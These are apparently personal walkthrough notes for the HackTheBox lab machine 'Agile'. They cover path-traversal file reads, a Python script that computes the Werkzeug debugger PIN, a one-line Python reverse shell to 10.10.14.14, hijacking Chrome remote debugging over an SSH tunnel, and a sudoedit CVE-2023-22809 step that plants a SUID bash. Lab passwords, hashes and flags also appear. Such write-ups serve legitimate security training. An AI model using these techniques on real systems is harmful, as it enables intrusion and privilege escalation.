HTB: Agile
10.10.11.203
- superpass.htb
- CREDS
superpassuser:dSA6l7q*yIVs$39Ml6ywvgKcorum:5db7caa1d13cc37c9fc2edwards:d07867c6267dcb5df0af
NMAP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_ 256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
FOOTHOLD
- website is a password manager
- allows you to register, login.
- has a vault to store passwords and an export option to export the passwords as CSV.
- directory search retured a page -
superpass.htb/download - going to the page, we get an error and then when I refreshed it, I got another error showing the stack trace to the code that was throwing the error

- we see that the app takes a parameter
fnand searches for the file in temp - trying lfi to read a file
http://superpass.htb/download?fn=../../etc/passwdreturned a csv which had the/etc/passwdcontents- Interesting users
-
we know the server is using nginx
-
trying
http://superpass.htb/download?fn=../../etc/nginx/sites-enabled/default /download?fn=../..//app/app/superpass/vault_views.py/download?fn=../..//proc/self/environ/download?fn=../..//app/config_prod.json- {"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
- In the traceback errors, we found a Secret Key -
XdUXRAVGsQSlXFACyHPM - the trace errors mention a Werkzueg debugger
- https://blog.gregscharf.com/2023/04/09/lfi-to-rce-in-flask-werkzeug-application/
The Werkzeug debugger PIN is generated algorithmically based on specific pieces of information from the system running the application, not by "reversing" the "secret key" found in the traceback. The "secret key" displayed in the traceback is the unique ID for the current debugger session, but it is not the PIN itself. To calculate the PIN, you need to replicate the same algorithm used by Werkzeug, which requires gathering several specific system details: Username: The username of the operating system user who started the Flask application (e.g., www-data, ubuntu, etc.). This can sometimes be found in /proc/self/environ if you can read files on the server. Module Name: Usually flask.app. Application Name: Usually Flask. Flask application file path: The absolute path to the app.py or equivalent file that is the main entry point of the Flask application (e.g., /usr/local/lib/python3.5/dist-packages/flask/app.py). This path is often visible within the traceback itself. MAC Address: The MAC address of the network interface of the machine, converted to a decimal integer. This can sometimes be found in /proc/net/arp or other system files. Machine ID / Boot ID: A unique identifier for the machine, typically read from /etc/machine-id or /proc/sys/kernel/random/boot_id. Sometimes additional information from /proc/self/cgroup is needed. Once all these "public" and "private" bits are collected, they are combined and hashed using a specific algorithm (often SHA1, though it can vary by Werkzeug version) to produce the 9-digit PIN - We need a few things to crack the debugger pin public things
- username who started the app -
www-datafromconfig_prod.json - modname of the flask.app -
flask.appusually - getattr -
Flask - abs app.py path -
/app/venv/lib/python3.10/site-packages/flask/app.py- from stacktrace
Next we need the modname, which is oftentimes flask.app but that is not always the case. Another possible value is werkzeug.debug. This part might require some trial and error.
We also need the app’s name, which is oftentimes Flask. But other possible values are DebuggedApplication and wsgi_app. So again, some trial and error might be required if the usual values don’t generate a valid PIN.
private things
1. mac address - 00:50:56:b0:91:80 - 345051795840
- get device-id - /proc/net/arp - eth0
- get mac address - /sys/class/net/eth0/address - 00:50:56:b0:91:80
- get decimal value of this mac
- python3
- 0x005056b09180
2. machine_id() -
- /etc/machine-id or /proc/sys/kernel/random_boot_id - ed5b159560f54721827644bc9b220d00
- for containers:
- do linux += f.readline().strip().rpartition(b"/")[2] on /proc/self/cgroup
- 0::/system.slice/superpass.service - value from cgroup
- superpass.service - after the strip processing
- update the
~/tools/werkzeug/debug-crack.pywith above valuesimport hashlib from itertools import chain probably_public_bits = [ 'www-data',# username 'flask.app',# modname 'wsgi_app', # getattr(app, '__name__', getattr(app.__class__, '__name__')) '/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '345051795840', #the value from /sys/class/net/<device-id>/address 'ed5b159560f54721827644bc9b220d00superpass.service' # value from /etc/machine-id ] # h = hashlib.md5() # For older versions h = hashlib.sha1() # For newer versions for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') #h.update(b'shittysalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) - run it to get -
434-664-579 -
enter the pin and we get
[console ready >>>]- which runs python -
start a nc shell
import os,pty,socket;s=socket.socket();s.connect(("10.10.14.14",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")- get a reverse shell as
www-data -
running linpeas as www-data
-
Mysql enum
mysql> select * from users; select * from users; +----+---------------+--------------------------------------------------------------------------------------------------------------------------+ | id | username | hashed_password | +----+---------------+--------------------------------------------------------------------------------------------------------------------------+ | 1 | 0xdf | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. | | 2 | corum | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 | | 9 | admin | $6$rounds=200000$JcYtXllanjouX4lS$LhNbQz2AD7tE/2aIHZCpXRgmHoeJWqbFtShE6IfCdcSYl0rpSktLYxlUVcpr8N3cavP.92uPZTmDEPXrHOAlx1 | | 10 | superpassuser | $6$rounds=200000$zyPrbVSBIK5.ygAT$jQAhGToKu1qoTWeR3gn1ZALvzh8HBxoSqVfvDr5NJEy4NN6756a1elnGQk5hBjsVu2ioQVnuKPvbwvJOgwg1c0 | +----+---------------+--------------------------------------------------------------------------------------------------------------------------+ 4 rows in set (0.00 sec) mysql> select * from passwords select * from passwords -> ; ; +----+---------------------+---------------------+----------------+----------+----------------------+---------+ | id | created_date | last_updated_data | url | username | password | user_id | +----+---------------------+---------------------+----------------+----------+----------------------+---------+ | 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 | | 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 | | 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 | | 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 | | 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 | +----+---------------------+---------------------+----------------+----------+----------------------+---------+ 5 rows in set (0.00 sec) - trying
corum:5db7caa1d13cc37c9fc2for ssh- get the user.txt - f73303770fe93e91c6422e0a2f47252b
PRIVESC
- running linpeas as corum
- trying
/app/app-testing- found the testing script
def driver(): options = Options() #options.add_argument("--no-sandbox") options.add_argument("--window-size=1420,1080") options.add_argument("--headless") options.add_argument("--remote-debugging-port=41829") options.add_argument('--disable-gpu') options.add_argument('--crash-dumps-dir=/tmp') driver = webdriver.Chrome(options=options) yield driver driver.close()
- found the testing script
-
https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/
ssh -L 41829:localhost:41829 corum@superpass.htb- go to
http://127.0.0.1:41829/jsonand find the devtools frontend url- append the frontendurl to
http://127.0.0.1:41829/
- append the frontendurl to
- found
edwards:d07867c6267dcb5df0af- or
dedwards__:7dbfe676b6b564ce5718
- or
- logged in as edwards
-
running linpeas as edward
sudo -l- allows sudoedit as
dev_admin sudoedit -u dev_admin /app/config_test.jsonsudoedit -u dev_admin /app/app-testing/tests/functional/creds.txtedwards:1d7ffjwrx#$d6qn!9nndqgde4
- allows sudoedit as
IMPORTANT
- we see a venv prompt when we got reverse shell for www-data
- which python points to /app/venv/bin/python
- echo $PATH shows /app/venv/bin at first
- This happens because the global bashrc file includes sourcing the venv on this box:
- tail -2 /etc/bash.bashrc
ls -l /app/venv/bin/activate is writeable by root and dev_admin
- abuse CVE-2023-22809 to write this file as dev_admin:
- add the line below to the activate code
- cp /bin/bash /tmp && chmod 4755 /tmp/bash
- wait for some time and then check /tmp
- /tmp/bash -p to get root.txt - 65f09654e0508563d321fb6d02d94634